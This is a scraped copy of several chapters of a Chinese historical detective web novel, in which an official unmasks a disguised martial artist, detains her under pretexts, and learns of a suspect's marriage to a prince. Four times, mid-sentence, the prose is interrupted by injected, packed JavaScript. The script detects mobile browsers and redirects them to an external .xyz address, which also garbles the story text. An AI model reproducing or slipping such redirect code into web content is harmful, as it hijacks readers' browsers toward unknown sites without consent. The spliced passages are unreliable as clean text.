佩儿的丑脸只是一张人皮面具,她的真容可以说得上是雪肤花貌,艳光四射,琼鼻檀口,螓首蛾眉。 她的身上掉出许多厚重如泥块的东西,可以看出她原本的身材非常纤细苗条。 她应该就是把这些泥块样的东西黏在身上,假装成虎背熊腰的样子。 现在这些伪装物掉了下来,她原先穿的衣服立刻变得松松垮垮。 侍卫顺手帮她把衣服扯直了,腰带也系紧,她立刻显得纤腰一握,楚楚动人。 虽然她穿着一身陈旧、充满布丁的粗布衣服,但也难掩她的姿容。而且,她看起来只有二十来岁,并不是之前四十多岁的样子。 所以,她不太可能是吴阿婆的女儿。 在场之人无不惊讶,只有吴阿婆看着地下,好像什么也不关心。 云水谣盯着佩儿看了一会,皱眉道:“不对,你不是琼娘。” 本来云水谣以为,琼娘跟吴阿婆是同伙,伪装成她女儿,跟她住在一起。 但是眼前的女子,虽然也花容月貌,姿色不输给青楼头牌,但她却不是万花楼的琼娘,而是一张陌生面孔。 琼娘的画像,云水谣看过多次,早已烂熟于心。 云水谣心想,难道自己猜错了?如果这个女人不是琼娘,那她是谁? 云水谣问道:“你是谁?” 佩儿道:“我是佩儿。” “不对,你不是佩儿。你的伪装已经被识破了,还要说谎?” “我的名字确实叫佩儿,不是什么琼娘。” “你跟吴阿婆是什么关系?你看起来顶多二十岁,不会是她的女儿。” “我是她的外孙女。” “什么?” 云水谣十分困惑。 吴阿婆抬起头,解释道:“大人,让老身跟您说明原委吧。老身确实曾经有一个女儿,名叫佩儿。她年轻时,爱上了一个浪荡子,未婚先孕,生下一个女孩。后来她被那个浪荡子抛弃,郁郁而终,留我一个人抚养年幼的外孙女。我太过伤心,就给外孙女取了她母亲的名字,也叫佩儿。这样,我就会觉得女儿从来没离开过我。 我觉得女儿的悲剧是因为她太漂亮了,又识人不清,所以才害死了自己。所以,我从小就叫外孙女扮成丑女,一辈子不嫁人,陪在我身边,这样才能长久地活下去。外孙女很乖,很听我的话,我让她扮成一个肥胖的丑女,她也愿意。 后来,我们来到雍州定居,我让她不仅要扮丑,还要扮老,把自己打扮成一个四十多岁、嫁不出去的丑姑娘。我跟她以母女相称,一直过着安生日子。别人看到佩儿的外貌,避之如蛇蝎,连看都不敢多看她一眼,她自然就不会重复她母亲的命运了。 大人明鉴,我们祖孙俩这样做,也只是为了自保,没有恶意,也不认识什么琼娘。大人在查的案子,跟我们也没关系。” 云水谣喃喃自语:“原来是这样吗……那本官错怪你们了,还请你们勿怪。” 吴阿婆道:“无妨。” 云水谣道:“不对,佩儿这一身功夫是跟谁学的?” “她那个浪荡子老爹,留下几本武功秘籍,佩儿照着练,就练成了。可能是因为她有学武的天分吧。” “原来是这样。既然她有这么高的功夫,做什么不行,为什么要跟着你收泔水?” “我怕她在人前显露武功,会惹来祸事。而且她一旦跟人动手,可能身上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837201|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伪装、脸上的人皮面具也会脱落下来,那她拥有美貌的事就瞒不住了。所以,我跟她说,不管她武功多高,都只能用来自保,不能在人前显露,也不能用武功来谋生。” 吴阿婆这样解释,倒也合情合理。 然而,云水谣总觉得自己好像忽略了什么重要的事。 但她已经没有理由再留下吴阿婆祖孙了,便打算释放她们。 这时,云水谣突然瞥见佩儿的头皮似乎有一块地方是发红的。之前佩儿一直蒙着头巾,所以云水谣没看见过她的头皮。 现在她的伪装被全部卸掉,头上的头巾自然也被扯下来了,云水谣才能看见。 她赶紧走上前去,拽住佩儿的胳膊,仔细查看她的头皮。 佩儿现在的穴道还没有解开,所以云水谣拽得住她。 佩儿左边的头皮确实发红,似乎有炎症。 联想到之前黄四牛的案子,据翠鸟所言,将银针扎进黄四牛脑门的人,头皮就是有一块发红的。 会这么巧吗? 是不是佩儿? 以佩儿的身手,确实可以做到。 难道,佩儿是蝮蛇帮的头目?她虽然不是琼娘,但也许跟琼娘属于同一个组织。 也就是说,她跟琼娘认识,说不定还互相打掩护。她和吴阿婆,也不是刚才所言的普通百姓。 吴阿婆刚才的说辞滴水不漏,云水谣都差点被骗过去。 但仔细想想,吴阿婆的话是有漏洞的。 像佩儿这样容貌、武功都属上乘的年轻姑娘,竟然甘心扮成一个中年丑妇,一辈子跟着外婆运泔水,打扫街道?这很不合理。 而且,佩儿的武功那么高,竟说是她自己看秘籍练成的?也很不合理。 在这一瞬间,云水谣心念百转。她确定了一件事,就是绝不能轻易释放吴阿婆母女。 于是,她问佩儿:“佩儿,你的头皮怎么是红的?” 佩儿道:“我这一块头皮从小就有炎症,换了很多洗头膏,涂了很多种药膏,都无济于事。” 柳依依上前,对云水谣道:“之前我说佩儿身上香香的,原来是她头上药水的味道。” 佩儿对于云水谣关心她的头皮,感到很奇怪,露出疑惑的神情。 云水谣没作解释,而是对佩儿道:“本官身边缺个女护卫,你武功高,不如你来补上这个缺吧。若是担心露出容貌被男人欺骗,你仍可以戴着你的人皮面具,只是身上就不需要伪装了。就算别人觉得你身材好,看见你的丑脸就吓跑了,不会来欺骗你的感情的。” 谁知,佩儿却说道:“多谢大人好意,但民女只想继续跟外祖母过着平淡的日子,不想当您的护卫。” “为什么?当本官的护卫,既有工钱,工作又稳定,而且体面。若是觉得跟一群男护卫一起当差不方便,本官身边也有一个叫徐二妞的女护卫,你可以跟她作伴,同吃同住。” 佩儿摇头:“民女受不了被人拘束的日子,还是想在乡下自由自在地生活。” 吴阿婆也说道:“佩儿从小野惯了,当不好护卫,多谢大人好意,还是让我们祖孙离开吧。” 云水谣觉得这祖孙二人有猫腻,自然不能放她们离开。 131.强留 因此,云水谣似笑非笑地说道:“你们可不能轻易离开,现在外面可不太平。前阵子,还有个叫黄四牛的人,被人在脑门上射了一根银针,当场发狂。” 吴阿婆和佩儿都看着地下,表情淡定,看不出什么。 然而,越是这样越可疑。一个普通的百姓,如果听见黄四牛的遭遇,至少会觉得惊讶、害怕。 可这祖孙二人没有。 太刻意的掩饰,反而暴露她们的心虚。 吴阿婆抬头笑道:“大人无需担心,我外孙女功夫这么好,就算外面有坏人,她也能对付的。” 佩儿也道:“没错,就算有人对我们发射银针,我也能躲过去。” 云水谣笑道:“那就好。佩儿,你玩过奔月环吗?” 佩儿神色不变:“玩过。” “你觉得好玩吗?” “好玩,只是我太笨了,很难把奔月环的两个半圆组合起来。” “你自学武功都能学到如此地步,哪里笨了?” “也许我的天赋都在学武这一块了,其他方面就差点。大人,我家里还有家务要干,请容许民女带外婆离开。” “别急啊,本官还有事要说。” “什么事?” “吴佩儿,本官征调你为洛县女兵营的女兵,即日起留在雍州城训练,等训练完成后去洛县女兵营报道,不得有误。” 佩儿和吴阿婆都惊讶地看着云水谣,不知道怎么回答。 云水谣聘请佩儿为女护卫,佩儿尚且可以拒绝。 但是,征兵就不一样了,征兵具有强制性。 虽然说现在大夏普通的征兵都是自愿报名,但若是长官指定要某一个百姓从军的话,那个百姓是不能拒绝的。 洛县的女兵营,还是云水谣当洛县县令的时候组建的。 当时,云水谣解救了一批百尺楼的女孩,那些女孩没地方去,云水谣就建了个女兵营,让她们当兵,但不必上战场,负责日常巡逻、维持治安。 那个女兵营一直没解散,没想到现在派上了用场。 洛县是雍州下辖的县之一,云水谣是雍州长官,有资格为洛县的兵营征兵。 吴阿婆和佩儿没想到,云水谣还有这一招。 吴阿婆搜索枯肠,想出了一个拒绝理由:“大人,老身年迈多病,还需要佩儿养老,所以她不能去当女兵。大夏以孝治国,岂可夺走老身养老之人?” 云水谣微笑道:“这也容易,官府给你养老。以后你就住在衙门的客房里,我会派人照顾你,保证让佩儿没有后顾之忧。” 这样,既留下了佩儿,又留下了吴阿婆,简直完美。 吴阿婆没想到,自己本想带走佩儿,没想到连自己也被想法子留下了。 她有些紧张地抿了抿唇,说道:“大人,这不合适,老身可以自己照顾自己……” “你刚才不是还说,你照顾不了自己,需要有人为你养老吗?” “这……我……我虽然多病,但官府只需定期派人看视即可,不需要日日照顾,还是让老身回家吧。” “这可不行,佩儿武功这么高,去了女兵营肯定能当军官。军官的家人,官府是要特别关照的。吴阿婆,你就安心住在衙门里,不要多虑。你的日子有着落了,佩儿在女兵营才能安心啊。” “我……大人……” 吴阿婆嗫嚅了半天,也没说出什么,又抿了抿唇。 云水谣语气温和,但又带着几分不容拒绝的坚定:“好了,就这么说定了。佩儿留在这里当女兵,训练完成后去洛县的女兵营报道。吴阿婆就留在衙门,让官府照顾。至于你们家,官府会派人定期打理,不用担心。收泔水、打扫街道的活,以后也不必干了,官府会每个月给你发一点生活费。” 吴阿婆和佩儿对视了一眼,眼神有些复杂。 接着,她们说道:“是,都听大人的。” 然后,云水谣叫来徐二妞和另外几个侍卫,让他们带佩儿去班房,介绍一下女兵营的情况,并给佩儿制定训练计划。 其实,如果是正常招兵,直接让新兵去军营报道即可,军营自然会训练新兵。 但云水谣让佩儿当女兵只是个借口,真实目的是把她放在自己的眼皮子底下,这样她有什么动静,云水谣也能第一时间知道。 所以,云水谣是不会让她去洛县的。 云水谣要趁这段时间,调查清楚佩儿和吴阿婆的真实身份、以前做过什么,最好能把她们背后的蝮蛇帮连根拔起。 现在看来,佩儿很有可能就是那个把银针扎入黄四牛脑中、害黄四牛发狂之人,那她自然是蝮蛇帮的头目之一。 那么,吴阿婆真的只是她外婆吗? 或者说,吴阿婆真的是她外婆吗? 如果她们真的是祖孙二人,那身为外婆的吴阿婆也一定是蝮蛇帮的成员,不可能对佩儿的所做作为一无所知。当然,很有可能她们俩并不是祖孙,关系只是伪装的。 吴阿婆说的话,到底有几分可信? 说不定,吴阿婆只是佩儿的下属,照顾佩儿日常起居,并替佩儿打掩护的。 云水谣又让人带吴阿婆去客房休息,吴阿婆只得前去。 云水谣偷偷嘱咐几个侍卫,让他们看好吴阿婆,不要让吴阿婆外出,有任何异动随时报告。 云水谣留下吴阿婆和佩儿的方式,明面上都挑不出错。她不能公然拘禁吴阿婆和佩儿,因为这两个人在明面上没有犯法。 就算云水谣怀疑佩儿跟黄四牛一案有关,但线索来自翠鸟的话,她也没法跟人说。 因此,这些秘密,她只能埋在心里。 柳依依和其他下属都有些疑惑,柳依依问道:“大人,您为何一定要留下这祖孙二人呢?” 云水谣道:“我只是觉得她们有些可疑。依依,你觉得吴阿婆长得怎么样?” “就是普通人长相吧,不美也不丑。” “那她生得出佩儿这样标志的外孙女吗?” “也许佩儿继承了外公或父亲的样貌呢。” “这也有可能。但是,佩儿通过自学,就能跟我的十个侍卫打成平手,你觉得合理吗?” “这……好像确实夸张了些……” “而且,佩儿武功这么高,她们祖孙二人却一直在运泔水、打扫街道,这合理吗?” “好像有点奇怪……吴阿婆已经年老,做这种事倒合适。但佩儿还年轻,她完全可以另外找一份工作,而不是帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846226|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着她外婆运泔水。以她的能力,似乎不该被困于此处。” “那么,你觉得吴阿婆真的是佩儿的外婆吗?” “难道不是?” “吴阿婆说的话,一定可信吗?她身为一个普通的老妇人,在我问话的时候对答如流,说话天衣无缝,她似乎也不是个简单的人物。” “所以,大人才想将她们留下,多观察几日?” “对。但我不能违背律法,所以将佩儿留下做女兵,让吴阿婆在衙门里养老,是再合适不过的。” “原来如此。” 其他下属都去忙了,柳依依一直跟在云水谣身边。 云水谣一边踱步,一边思索着这个案子。她心里还有一个隐忧,就是佩儿功夫太高了。 如果佩儿铁了心要脱离云水谣的掌控,其实是随时可以逃走的。云水谣并控制不了她。 而且,吴阿婆如果不是她外婆,只是她的下属,其实她是不用在意吴阿婆的性命的。云水谣将吴阿婆留在衙门,完全威胁不到佩儿。 用常理推测,一个江湖□□的头目,怎么会跟自己的外婆住在一起?这是生怕别人不拿她外婆当人质。所以,这外婆八成不是真的。 这时,之前被云水谣派去监视吴阿婆家的两个衙役回来了。 之前云水谣让那两个衙役守在吴阿婆家周围,等她家没人的时候,去搜查一下她家有没有奔月环。 现在,这两个衙役回来了,向云水谣报告:“大人,刚才我们把吴阿婆家仔细搜了一遍,没有发现奔月环这种玩具。” 云水谣喃喃自语:“不对。” 柳依依问道:“哪里不对?” “刚才佩儿说,她平时也经常玩奔月环。那她家里怎么会没有?能从吴家搜出奔月环不稀奇,搜不出才奇怪。” 柳依依道:“也许是奔月环太小了,衙役们没看见。” 两个衙役道:“不会,我们俩以前经常干这种活,搜查屋子我们是专业的,不可能漏掉什么。我们没找到,就一定是没有。” 云水谣点了点头,对那两个衙役说道:“本官知道了,你们先下去吧。” 柳依依问道:“大人,您怀疑佩儿有改造过的、能发射银针的奔月环?也就是说,您怀疑她是蝮蛇帮的人?” “对。其实这种信物,她要么随身携带,要么放在一个隐蔽的地方,未必藏在家里了。所以,衙役们没搜到,不代表她没有这个东西。” “既然佩儿留在衙门受训,以后多的是机会查看她身上有没有蝮蛇帮的奔月环。” “嗯。” “只是大人为何会怀疑佩儿是蝮蛇帮的呢?我们之前在调查琼娘,也推测出琼娘可能是蝮蛇帮的人。但是佩儿明明不是琼娘啊。” “佩儿武功奇高,又故意扮丑,形迹可疑,所以我怀疑她和吴阿婆不是好人。最近蝮蛇帮猖獗,我就怀疑她们跟蝮蛇帮有关。” “原来如此。” 云水谣没法告诉柳依依,自己是凭借佩儿头上那一块红色的头皮来确认的,只能用别的借口搪塞,好在也能自圆其说。 这时,杜羽从外面走了进来,对云水谣笑道:“云大人,听说你接手了蝮蛇帮的两个案子,查得怎么样了?” 132.饮酒 云水谣便把查案的经过简单说了。一些没法说的事情,她就隐瞒了下来。 杜羽很快理清了头绪,道:“这佩儿和吴阿婆,还只是有几分可疑。但是失踪的方大娘,很有可能就是万花楼的琼娘,当务之急是要找到她。” 云水谣点头:“是,我已经派人张贴了悬赏令,希望能抓到她。” “根据以前的经验来看,蝮蛇帮的头目都不是一般的狡猾,从来没有哪个头目落网过。这次若能证明佩儿是蝮蛇帮头目,将她治罪,并且将逃跑的琼娘找到,一并治罪,可是大功一件。” 云水谣笑道:“我想做的不止于此。” 杜羽挑眉:“难道你还想剿灭整个蝮蛇帮不成?” “正是如此。” 杜羽爽朗一笑:“毒蛇都是滑不留手的,你能抓到一两条已是幸运,还想抓全部?” “杜长史觉得我做不到?” “没有,我对你有信心。若是需要什么帮助,尽管来找我。” “好啊,我眼下就有一件事,想请杜长史帮忙。” “你还真是不客气,我刚说可以帮忙,你就提要求了。” “我就是这样的人,杜长史应该早日习惯才是。” 杜羽笑了笑,道:“说吧,需要什么帮助?” “杜长史,借一步说话。” 云水谣和杜羽来到一间空屋子,屏退下属。等屋内只剩她们两人,云水谣关好门窗,确定无人在附近之后,才对杜羽说了自己的担忧。 “我觉得佩儿的身份很可疑,但又没有正当理由将她拘押。现在虽然让她留下当女兵,但她若是想逃走,还是有机会的,毕竟她功夫很高。而她一旦逃走,再想找到她就难了。我现在怀疑,佩儿跟黄四牛被杀一案有关,但原因暂时不能说。” 杜羽道:“我明白云大人的意思了。我有一计,我在众人面前向你借调佩儿,说要麻烦她帮我执行一个任务。我会让我的暗卫将她带走,半路上打晕她,偷偷关起来。等你查清她真的有罪行后,我就让人将她带回来治罪。 若是最后查清是一场误会,佩儿是个良民,我也会偷偷把她放走。等她回到你这边,你再找个理由解除她女兵的身份就可以了。” 云水谣道:“这样做确实能帮到我,只是在手段上显得不那么正确。若是此事被人发觉,会对杜长史不利。” 杜羽喝了一口茶,不慌不忙地道:“我会让几个暗卫带着佩儿一起行动,另外派一队人马袭击她们,假装成意外遇险的样子。跟佩儿同行的那几个暗卫,也会跟佩儿一起被关起来,这样佩儿就想不到,整件事是我自导自演。 其他人也是一样,不会发现暗卫和佩儿遇袭的真相。我派出的第二队人马,绝对没有杜家的痕迹。只要云大人不把真相说出去,此事不会被其他人所知。成大事者不拘小节,就按我说的做吧。” 云水谣感激地朝杜羽行了个礼:“多谢杜长史。” 虽然杜羽把这件事说得轻描淡写,但云水谣知道,如此行事,杜羽是担了风险的。 云水谣只是怀疑佩儿有问题,而且连怀疑理由都没跟杜羽说实话,杜羽就肯帮忙,云水谣心中自是感激。 杜羽笑道:“你若是真感激我,不如等案子结束,请我吃饭如何?” “这自然可以,请多少顿都行,我亲自下厨给您做饭都行。” “亲自下厨就不必了。” 杜羽想象了一下云水谣在厨房忙活的样子,心有不忍,觉得她不该做这样的事,不过面上只是淡淡一笑。 下午,杜羽和云水谣一起在公廨办公时,杜羽当着众小吏的面,故意对云水谣说道:“云大人,我要调查一个案子,你能否借几个人给我?” 云水谣道:“可以,不知杜长史要哪几个?” “徐二妞,吴佩儿,另外再随便加两个侍卫就行。” 云水谣道:“吴佩儿不能借你,她才刚刚被收编为女兵,还在学规矩。” “无妨,规矩可以慢慢学,我这个案子需要几个身手好的侍卫,最好是女的。没有比吴佩儿更合适的了。” “好吧,我叫佩儿过来。” 佩儿被叫过来后,云水谣跟她说了帮杜羽执行任务的事。 佩儿本能地想拒绝,云水谣道:“现在你是官府中人,应该听从长官的调令。而且执行任务也有奖励,多少人求都求不来呢。” 佩儿只得答应。杜羽身边走出来几个暗卫,带着佩儿、徐二妞等人一起走了。 又过了一个时辰左右,有一班衙役来找云水谣回话。 之前云水谣让这些衙役去青瓜巷附近,询问那里的居民,四月一号那天去收泔水的到底是方大娘还是吴阿婆。 青楼的伙计没看清楚,但是附近的居民可能有注意到。 衙役们对云水谣道:“大人,我们走访了青瓜巷附近的住户,他们都说四月一号那天,究竟是谁来收泔水,已经没印象了。吴阿婆、方大娘等人,经常出入青瓜巷,他们习以为常,平时也不会去特别注意来的是谁。泔水车很臭,他们一般看见就会避开,不会上前仔细看。” 云水谣有些失望,点头道:“辛苦各位了,你们先去忙吧。” 衙役们没问到什么有用的线索,不过查案总有挫折,云水谣也很快就不在意了。 对普通的百姓来说,没注意到日常生活的一些细节才是正常的,除非有什么特殊情况引起了他们的注意。如果询问几个月前某一天发生的事、见过的人,某个百姓都能想起来,这才不正常。 晚上,众官吏都离开了衙门,云水谣因思索近日的案子,还要整理卷宗,有些繁忙,独自留在了公廨中。 过了一会,杜羽走了进来,小声对云水谣道:“已经解决了。” 云水谣有些惊喜:“佩儿被关起来了?” “对,我派人袭击了吴佩儿、徐二妞一行人,把她们全都关在了隐蔽的地方。佩儿武功太高,被铁链锁住了,没法逃走,你可以安心调查。” “多谢杜长史……不过,徐二妞她们没事吧?” “没事,没怎么受伤,一日三餐也不会缺的。但为了让佩儿相信遇袭是意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853854|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外,徐二妞也和佩儿关在一起,那几个男侍卫被关在隔壁的房间,两边可以互相听见声音。为了效果逼真,她们待得肯定没那么舒服,但也没什么。只要云大人快些查清真相就行。” 云水谣点头:“我明白了。” “另外,我已经加派人手去看着吴阿婆,我的暗卫都躲在暗处,吴阿婆应该察觉不了。如果佩儿有问题的话,吴阿婆可能也有问题。” “我也是这么想的,不过之前我查过吴阿婆的面部,发现她没有戴人皮面具。我派衙役去抓吴阿婆和佩儿时,吴阿婆也没有反抗,倒是佩儿反抗激烈。由此看来,吴阿婆应该是个小人物,没武功或者功夫不高,可能听命于佩儿。” 杜羽道:“这只是表面现象,也许吴阿婆比佩儿隐藏得更深。她没戴人皮面具,只能说明她不是由别人伪装的,不代表她没做过坏事。总之先盯紧她,不会出错。” “杜长史说得对。” 杜羽看了云水谣几眼,笑道:“云大人还没吃饭吧?” “杜长史怎么看出来的?” “你吃饭前和吃饭后的神情不一样。” 云水谣有些惊奇,她自己都没发现自己吃饭前后会有什么区别,看来杜羽真是慧眼如炬。 杜羽道:“正好有人找我吃饭,你也一起去吧?” “这不太合适,跟你吃饭的应该是你的熟人,我去了太突兀了。” “没事,那个人你也见过,就是千牛卫将军明益恒。过年那会,明将军和几个朋友拜访我,我们一起在悠然居吃饭,你也去了。” 云水谣笑道:“哦,是他啊,我记得。” 当时有几个京城来的朋友找杜羽吃饭,杜羽请云水谣一起过去。其中一个虬髯大汉便是千牛卫将军明益恒,当时他跟云水谣相谈甚欢,还无意间为云水谣提供了破案的关键线索。 如果是他,云水谣倒不觉得尴尬,因此便跟杜羽一起赴宴。 吃饭的地点在一间酒肆,虽然不是很豪华,但这间酒肆以美酒而闻名。想必这个地方是明将军选的,云水谣记得他很爱喝酒。 来到酒肆的包间后,只见明将军坐在主位,他身边坐了一圈侍卫,跟他一起饮酒。 见云水谣和杜羽进来,那些侍卫赶紧站起身来,迅速站到了房间的各个角落,充当保镖。 明将军爽朗一笑:“杜老弟,云大人,你们别见怪。这些人都是我的亲兵,你们还没到场的时候,我让他们一起坐下喝酒。现在你们来了,我让人把他们喝酒的碗撤了就是。” 杜羽笑道:“这有何妨。” 说着便坐了下来。 云水谣也随便找了个位置坐了,对明将军笑道:“明将军善待亲卫,令人敬佩,下官又怎会见怪?” 这时,店小二过来,把刚才用过的餐具收走,又上了两套新的餐具给杜羽和云水谣。 明将军对他们说道:“你们来点菜吧,我吃什么都行,只要有酒喝就行。” 杜羽笑道:“明兄,听说你前几日醉了三天三夜,被嫂夫人打了好几顿,现在还敢喝酒?” 133.纳妾 明将军有些不好意思,笑道:“你嫂子打人跟猫抓似的,我根本不疼,但这酒是不能不喝的。上次喝醉也不能怪我,实在是福王府里的酒太好喝了。” 杜羽有些惊讶:“哦?福王请你喝酒?” “对,他新纳了个小妾,摆了几桌酒,宴请亲朋好友,我也受邀,就过去了。” 明将军是皇帝面前的红人,福王有心拉拢,倒不奇怪。 杜羽问道:“福王纳妾?不知这妾室是什么来历?” “那姑娘姓秦,叫什么我忘了,好像原先是个话本先生,还是很有名气的那种。后来遇见了福王,两人一见钟情,福王就纳她为妾了。我倒是没见过,听说长得挺漂亮的。” 杜羽皱眉:“姓秦?话本先生?” 云水谣心中一动,问道:“不会叫秦婉君吧?” 明将军道:“好像确实是叫这个名字。” 云水谣和杜羽对视了一眼,十分惊讶。秦婉君是他们一直在找的人,没想到突然出现在了京城,还嫁给了福王。 天神教一案案发后,教主闵红姑等人落网,背后主使欧阳世杰也伏法自尽,福王一党遭到严重的打击。 而话本先生秦婉君,就是在那时候离开雍州的。 本来她的离开并不引人注意,但云水谣发现,秦婉君的笔迹,跟天神教书籍的笔迹一模一样。也就是说,天神教那些骗人的故事,很有可能是秦婉君所写。 而秦婉君身为一个优秀的话本先生,也有这个能力。 当时,云水谣等人就怀疑秦婉君可能也是天神教的人,如果不是,那也一定听命于福王,为天神教做过一些事。 只是她人去无踪,没有对证,此事也就成了谜团。 这段时间,云水谣、杜羽、安正则等人都试图寻找秦婉君,但并未找到。 没想到,这么快就又听见了她的消息。 她嫁给了福王,是不是说明她确实是福王的人?天神教是福王和欧阳家在背后主持,那天神教那些伪神的故事就是秦婉君所写…… 云水谣越想越觉得合理。 而福王娶了秦婉君,一方面可能是为了她的姿色,另一方面也更方便吩咐秦婉君做事。成为亲王妾室,享受王府的锦衣玉食,可能也是福王对秦婉君的奖赏。 否则,以秦婉君这样身份的人,为何会甘心做王爷的妾室?她靠写话本,已经能养活自己了。 云水谣心思百转,瞥见杜羽也是一副沉思的表情。 这一顿饭,他们两人吃得都心不在焉,只有明将军在愉快地喝酒。 吃完饭后,明将军有事先离开了,包间里只剩下云水谣和杜羽二人。 云水谣便问道:“杜长史也在想秦婉君的事?” 杜羽点头:“云大人认为,她是不是福王的人?” “八九不离十了。她以前应该一直在为福王一党做事,天神教一案也跟她有关。而最近福王纳她为妾,一个可能是福王看上了她,顺手就纳了;另一个可能是她进了福王府之后,福王要吩咐她做什么事就更方便了,不需要通过中间人传话。” 杜羽道:“之前我们怀疑过,天神教一案是不是有人栽赃到福王和欧阳家身上的,毕竟欧阳世杰在流放路上自尽,以证清白。但现在一切都明朗了,如果福王跟秦婉君没关系,怎么可能突然就能遇见秦婉君?他要纳秦婉君为妾,秦婉君为什么会马上同意? 只怕偶然遇见、一见钟情,都是福王找的托词而已。” 云水谣:“我也这么认为。不过,就算我们有怀疑,也拿秦婉君和福王没办法,毕竟没有直接证据表明,她们跟天神教一案有关。而且,秦婉君虽然能手写印刷体,但其他能写出印刷体的人也不是没有。只凭几本书上的笔迹,就说秦婉君有罪,太过牵强。” 印刷体跟普通的笔迹不太一样,每个人的笔迹都有独特之处,但印刷体是固定的,很多擅长书法的人,只要经过一段时间的练习,都可以写出印刷体。反正就是横平竖直,方方正正,不带有任何人为特色,就可以了。 所以,仅凭印刷体字迹,还有天神教书籍和秦婉君话本行文习惯上的相似之处,定不了秦婉君的罪。 杜羽道:“她们总有露出马脚的一天,再等等吧。” “嗯。不过,既然天神教一案确实是福王和欧阳家在幕后主使,欧阳世杰为何要一直喊冤,还在流放路上自尽?” 杜羽想了想,道:“也许,是欧阳世杰受不了流放之苦,干脆自尽,说自己一死以证清白,还能挽回一些名声,也让皇上觉得此事可能确实有人陷害,这样福王和欧阳家其他人就安全了。或者,这个案子其实是福王主导,他的舅舅欧阳世杰并不知情。但案发的时候,福王让欧阳世杰替他背了黑锅,所以欧阳世杰才含冤自尽。” 云水谣觉得,这两种都有可能。 如果是第一种可能,那么欧阳世杰死都不认罪,可以说是深谋远虑,他用他的死为福王一党下了一步活棋。 身在高位,任何人、任何事皆可纳入算计的一环,十分复杂。 杜羽笑道:“先别管秦婉君她们了,当务之急是查清蝮蛇帮的案子。以福王的德性,迟早要再次犯案。下一次,说不定他就没那么轻易脱身了。” “说得对。我们先走吧。” 两人站起身来,朝外走去。 这时,他们刚好撞见酒肆的主管在责骂一个女伙计。 只听主管说道:“你怎么总是上错菜,你都来多少天了,还犯这种低级错误,真是笨死了!” 这女伙计瘦瘦小小的,也不敢争辩,只能低着头挨训,抿着嘴唇缓解情绪。 云水谣看着那个女伙计,若有所思。 杜羽问道:“怎么了?你想帮那个女伙计说话?” 云水谣道:“不是。我们先出去吧。” 做工的人被主管责骂,也是常事,倒不至于需要云水谣出手救她。 只是,云水谣心中有一个疑惑。 等走出了酒肆,云水谣问杜羽:“杜将军,你有没有看见刚才那个女伙计抿着嘴的动作?” “嗯,看见了。” “你说,什么样的人会抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859625|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴?” “抿嘴是个常见的动作,很多小姑娘都会这样。云大人有时候也会下意识地抿嘴。” “真的吗?” 云水谣有些惊讶,又有几分不好意思,微微低头,摸了摸自己的脸。 过了一会,云水谣道:“其实,刚才那个女伙计抿嘴的动作,让我想起一个人。” “想起了谁?” “吴阿婆。” “就是那个运泔水的吴阿婆?” 云水谣道:“对。我见过吴阿婆抿嘴,还不止一次。当时我就觉得有些奇怪,但又说不出哪里奇怪,现在想来,就是她的动作不对。我几乎没见过老太太会抿嘴的。” “也许是她从年轻时养成的习惯,一直没有改掉。老太太抿嘴的虽然少,但也不是没有。你不是说,检查过吴阿婆的脸,确定她没有戴人皮面具吗?那她一定就是个老太太。” “嗯。” 杜羽还有别的公务要办,走出酒肆后,就跟云水谣分开走了。 云水谣回到了住所,稍作休息。 柳依依正在云水谣的房间里,拿着一本书看。 柳依依除了是云水谣的下属,也是她的朋友。不办公时,两人的相处比较自然,柳依依可以随便进出云水谣的房间。 云水谣见她在,笑道:“我正要找你,明日我们一起去六味楼吃烤鸭怎么样?烤鸭分量大,一个人吃太腻了。” 柳依依笑道:“也好。你有心思出去吃饭,是不是案情有了突破?” “没有,我正发愁呢。但发愁也没用啊,我只能先填饱自己的肚子了。” 